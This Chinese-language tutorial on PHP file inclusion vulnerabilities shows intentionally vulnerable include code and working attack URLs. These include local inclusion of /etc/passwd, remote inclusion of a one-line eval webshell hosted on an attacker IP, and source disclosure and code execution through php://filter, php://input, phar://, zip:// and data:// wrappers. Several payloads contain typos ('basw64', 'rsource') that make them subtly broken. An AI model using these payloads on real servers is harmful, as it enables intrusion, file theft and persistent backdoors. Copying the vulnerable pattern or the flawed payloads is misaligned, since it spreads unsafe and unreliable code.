文件包含漏洞
一、本地文件包含
1.源代码
$filename = $_GET['filename'];
include $filename;
echo "欢迎来到PHP世界"
2.利用条件
- php.ini中allow_url_fopen=On(默认开启)和allow_url_include=off(默认关闭)开启
- 用户参数可控且后台代码没有对包含的文件进行过滤
3.利用方式
http://192.168.101.2/fileinc.php?filename=login.html
http://192.168.101.2/fileinc.php?filename=/opt/lampp/logs/access_log
http://192.168.101.2/fileinc.php?filename=../../../../etc/passwd
http://192.168.101.2/fileinc.php?filename=php://filter/read/convert.basw64-encode/resource=common.php
二、远程文件包含
1.利用条件
- php.ini中allow_url_fopen=On(默认开启)和allow_url_include=off(默认关闭)开启
- 用户参数可控且后台代码没有对包含的文件过滤
2.利用方式
// 木马文件
<?php
@eval($_GET['code']); // 一句话木马
// 也可以直接创建木马到目标服务器进行利用
// file_put_contents("temp/muma.php",'<?php @eval($_GET['code']); ?>')
?>
// 这种方式执行的是攻击者101.1的phpinfo命令
http://192.168.101.2/fileinc.php?filename=http://192.168.101.1/shell.php?code=phpinfo();
// 将php的后缀改成txt这种不可执行的才能让目标101.2执行phpinfo命令
http://192.168.101.2/fileinc.php?filename=http://192.168.101.1/shell.txt&code=phpinfo();
// 如果直接创建木马文件到目标服务器可以不带参数
http://192.168.101.2/fileinc.php?filename=http://192.168.101.1/shell.txt
三、PHP伪协议利用
1.伪协议
-
php支持以下几种协议
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
-
php://是一种伪协议,主要是开启了一个输入输出流,理解文件数据传输的一个通道。PHP中的伪协议尝试用的有以下:
- php://input
- php://filter
- phar://
2.php://filter
-
当直接包含一个php文件时,会被web容器解析,看不到源码信息
-
如:
http://192.168.101.2/fileinc.php?filename=common.php
-
使用php://伪协议可以将源码读取出来
// 以下将common.php的内容以base64方式读取,通过解码得到明文 http://192.168.101.2/fileinc.php?filename=php://filter/read/convert.base64-encode/rsource=common.php
-
3.php://input
php://filter/read/convert.base64-encode/rsource=php://input
然后以POST的方式传输<?php system('ifconfig') ?>
等php代码执行命令,也可以直接上传大马
4.phar://
-
主要用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进阶的phar反序列化攻击
-
要给目标主机写入文件,可以直接想办法上传,也可以攻击服务器到命令行使用wget或curl下载
-
使用:
-
先通过其他方式将压缩文件shell.zip上传到目标主机/temp/中
-
通过phar://伪协议将压缩包中的shell.txt读取从而利用
php://filter/read/convert.base64-encode/rsource=phar://temp/shell.zip/shell.txt
-
5.zip://
- 对压缩文件进行读取曹祖,原理与用法和phar几乎一样。区别是:
- 压缩文件的目录符号需要将
/
替换为#
,且要将#
进行url编码为%23
- zip只能包含单级目录,即不能/shell%23folder%23shell.txt
- 压缩文件的目录符号需要将
6.data://
- data://本身是数据流封装器,原理与用法和php://input类似,但是是发送GET请求参数
data://text/plain,<?php phpinfo(); ?>